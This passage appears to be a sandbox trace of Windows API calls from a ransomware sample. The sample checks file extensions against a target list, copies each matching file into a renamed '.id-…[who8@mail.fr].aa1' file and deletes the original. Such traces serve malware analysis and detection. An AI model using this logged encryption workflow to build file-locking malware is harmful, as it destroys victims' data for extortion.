returned 1 [0222.714] lstrlenW (lpString=".bz2") returned 4 [0222.714] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0222.714] lstrlenW (lpString=".7z") returned 3 [0222.715] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0222.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0222.715] lstrlenW (lpString=".dbf") returned 4 [0222.715] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0222.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0222.715] lstrlenW (lpString=".1cd") returned 4 [0222.715] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0222.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0222.715] lstrlenW (lpString=".jpg") returned 4 [0222.715] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0222.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0222.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0222.715] lstrlenW (lpString=".doc") returned 4 [0222.715] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0222.715] lstrlenW (lpString=".docx") returned 5 [0222.715] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0222.715] lstrlenW (lpString=".pdf") returned 4 [0222.715] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0222.715] lstrlenW (lpString=".xls") returned 4 [0222.715] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0222.715] lstrlenW (lpString=".xlsx") returned 5 [0222.715] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0222.715] lstrlenW (lpString=".ppt") returned 4 [0222.715] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0222.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0222.715] lstrlenW (lpString=".zip") returned 4 [0222.715] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0222.715] lstrlenW (lpString=".rar") returned 4 [0222.715] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0222.715] lstrlenW (lpString=".bz2") returned 4 [0222.715] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0222.716] lstrlenW (lpString=".7z") returned 3 [0222.716] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0222.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0222.716] lstrlenW (lpString=".dbf") returned 4 [0222.716] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0222.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0222.716] lstrlenW (lpString=".1cd") returned 4 [0222.716] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0222.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0222.716] lstrlenW (lpString=".jpg") returned 4 [0222.716] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0222.716] lstrcmpiW (lpString1=".GIF", lpString2=".aa1") returned 1 [0222.716] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0222.716] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0222.716] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x239ff1c | out: lpFileSize=0x239ff1c*=1659) returned 1 [0222.716] CloseHandle (hObject=0x1a0) returned 1 [0222.717] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif")) returned 0x20 [0222.717] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0222.717] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0222.717] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.717] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.717] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0222.730] GetLastError () returned 0x0 [0222.730] ReadFile (in: hFile=0x1a0, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x67b, lpOverlapped=0x0) returned 1 [0222.776] WriteFile (in: hFile=0x1e4, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0x680, lpOverlapped=0x0) returned 1 [0222.777] ReadFile (in: hFile=0x1a0, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.777] WriteFile (in: hFile=0x1e4, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0xea, lpOverlapped=0x0) returned 1 [0222.777] SetEndOfFile (hFile=0x1e4) returned 1 [0222.777] CloseHandle (hObject=0x1e4) returned 1 [0222.778] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.778] SetEndOfFile (hFile=0x1a0) returned 1 [0222.778] CloseHandle (hObject=0x1a0) returned 1 [0222.779] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0222.779] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif")) returned 1 [0222.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0222.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0222.779] lstrlenW (lpString=".doc") returned 4 [0222.779] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0222.779] lstrlenW (lpString=".docx") returned 5 [0222.779] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0222.779] lstrlenW (lpString=".pdf") returned 4 [0222.779] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0222.779] lstrlenW (lpString=".xls") returned 4 [0222.779] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0222.779] lstrlenW (lpString=".xlsx") returned 5 [0222.779] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0222.779] lstrlenW (lpString=".ppt") returned 4 [0222.780] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0222.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0222.780] lstrlenW (lpString=".zip") returned 4 [0222.780] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0222.780] lstrlenW (lpString=".rar") returned 4 [0222.780] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0222.780] lstrlenW (lpString=".bz2") returned 4 [0222.780] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0222.780] lstrlenW (lpString=".7z") returned 3 [0222.780] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0222.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0222.780] lstrlenW (lpString=".dbf") returned 4 [0222.780] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0222.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0222.780] lstrlenW (lpString=".1cd") returned 4 [0222.780] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0222.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0222.780] lstrlenW (lpString=".jpg") returned 4 [0222.780] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0222.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0222.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0222.780] lstrlenW (lpString=".doc") returned 4 [0222.781] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0222.781] lstrlenW (lpString=".docx") returned 5 [0222.781] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0222.781] lstrlenW (lpString=".pdf") returned 4 [0222.781] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0222.781] lstrlenW (lpString=".xls") returned 4 [0222.781] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0222.781] lstrlenW (lpString=".xlsx") returned 5 [0222.781] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0222.781] lstrlenW (lpString=".ppt") returned 4 [0222.781] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0222.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0222.781] lstrlenW (lpString=".zip") returned 4 [0222.781] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0222.781] lstrlenW (lpString=".rar") returned 4 [0222.782] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0222.782] lstrlenW (lpString=".bz2") returned 4 [0222.782] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0222.782] lstrlenW (lpString=".7z") returned 3 [0222.782] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0222.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0222.782] lstrlenW (lpString=".dbf") returned 4 [0222.782] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0222.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0222.782] lstrlenW (lpString=".1cd") returned 4 [0222.782] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0222.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0222.782] lstrlenW (lpString=".jpg") returned 4 [0222.782] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0222.782] lstrcmpiW (lpString1=".PNG", lpString2=".aa1") returned 1 [0222.782] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0222.782] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0222.901] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x239ff1c | out: lpFileSize=0x239ff1c*=48115) returned 1 [0222.901] CloseHandle (hObject=0x178) returned 1 [0222.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png")) returned 0x20 [0222.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0222.902] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0222.902] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.902] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.902] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0222.902] GetLastError () returned 0x0 [0222.902] ReadFile (in: hFile=0x178, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0xbbf3, lpOverlapped=0x0) returned 1 [0223.171] WriteFile (in: hFile=0x188, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xbc00, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0xbc00, lpOverlapped=0x0) returned 1 [0223.173] ReadFile (in: hFile=0x178, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x0, lpOverlapped=0x0) returned 1 [0223.173] WriteFile (in: hFile=0x188, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0xec, lpOverlapped=0x0) returned 1 [0223.173] SetEndOfFile (hFile=0x188) returned 1 [0223.173] CloseHandle (hObject=0x188) returned 1 [0223.173] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.173] SetEndOfFile (hFile=0x178) returned 1 [0223.174] CloseHandle (hObject=0x178) returned 1 [0223.174] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0223.174] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png")) returned 1 [0223.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0223.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0223.175] lstrlenW (lpString=".doc") returned 4 [0223.175] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0223.175] lstrlenW (lpString=".docx") returned 5 [0223.175] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0223.175] lstrlenW (lpString=".pdf") returned 4 [0223.175] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0223.175] lstrlenW (lpString=".xls") returned 4 [0223.175] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0223.175] lstrlenW (lpString=".xlsx") returned 5 [0223.175] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0223.175] lstrlenW (lpString=".ppt") returned 4 [0223.175] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0223.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0223.175] lstrlenW (lpString=".zip") returned 4 [0223.175] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0223.175] lstrlenW (lpString=".rar") returned 4 [0223.175] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0223.175] lstrlenW (lpString=".bz2") returned 4 [0223.176] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0223.176] lstrlenW (lpString=".7z") returned 3 [0223.176] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0223.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0223.176] lstrlenW (lpString=".dbf") returned 4 [0223.176] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0223.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0223.176] lstrlenW (lpString=".1cd") returned 4 [0223.176] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0223.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0223.176] lstrlenW (lpString=".jpg") returned 4 [0223.176] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0223.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0223.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0223.176] lstrlenW (lpString=".doc") returned 4 [0223.176] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0223.176] lstrlenW (lpString=".docx") returned 5 [0223.176] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0223.176] lstrlenW (lpString=".pdf") returned 4 [0223.176] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0223.176] lstrlenW (lpString=".xls") returned 4 [0223.176] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0223.176] lstrlenW (lpString=".xlsx") returned 5 [0223.176] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0223.176] lstrlenW (lpString=".ppt") returned 4 [0223.176] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0223.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0223.177] lstrlenW (lpString=".zip") returned 4 [0223.177] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0223.177] lstrlenW (lpString=".rar") returned 4 [0223.177] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0223.177] lstrlenW (lpString=".bz2") returned 4 [0223.177] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0223.177] lstrlenW (lpString=".7z") returned 3 [0223.177] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0223.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0223.177] lstrlenW (lpString=".dbf") returned 4 [0223.177] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0223.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0223.177] lstrlenW (lpString=".1cd") returned 4 [0223.177] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0223.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0223.177] lstrlenW (lpString=".jpg") returned 4 [0223.177] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0223.177] lstrcmpiW (lpString1=".GIF", lpString2=".aa1") returned 1 [0223.177] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0223.177] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0223.178] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x239ff1c | out: lpFileSize=0x239ff1c*=2574) returned 1 [0223.178] CloseHandle (hObject=0x178) returned 1 [0223.178] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif")) returned 0x20 [0223.178] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0223.178] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0223.178] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.178] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.178] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0223.180] GetLastError () returned 0x0 [0223.180] ReadFile (in: hFile=0x178, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0xa0e, lpOverlapped=0x0) returned 1 [0223.182] WriteFile (in: hFile=0x188, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xa10, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0xa10, lpOverlapped=0x0) returned 1 [0223.183] ReadFile (in: hFile=0x178, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x0, lpOverlapped=0x0) returned 1 [0223.183] WriteFile (in: hFile=0x188, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0xea, lpOverlapped=0x0) returned 1 [0223.183] SetEndOfFile (hFile=0x188) returned 1 [0223.183] CloseHandle (hObject=0x188) returned 1 [0223.184] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.184] SetEndOfFile (hFile=0x178) returned 1 [0223.185] CloseHandle (hObject=0x178) returned 1 [0223.185] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0223.185] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif")) returned 1 [0223.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0223.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0223.185] lstrlenW (lpString=".doc") returned 4 [0223.185] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0223.185] lstrlenW (lpString=".docx") returned 5 [0223.185] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0223.185] lstrlenW (lpString=".pdf") returned 4 [0223.185] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0223.185] lstrlenW (lpString=".xls") returned 4 [0223.185] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0223.186] lstrlenW (lpString=".xlsx") returned 5 [0223.186] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0223.186] lstrlenW (lpString=".ppt") returned 4 [0223.186] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0223.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0223.186] lstrlenW (lpString=".zip") returned 4 [0223.186] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0223.186] lstrlenW (lpString=".rar") returned 4 [0223.186] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0223.186] lstrlenW (lpString=".bz2") returned 4 [0223.186] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0223.186] lstrlenW 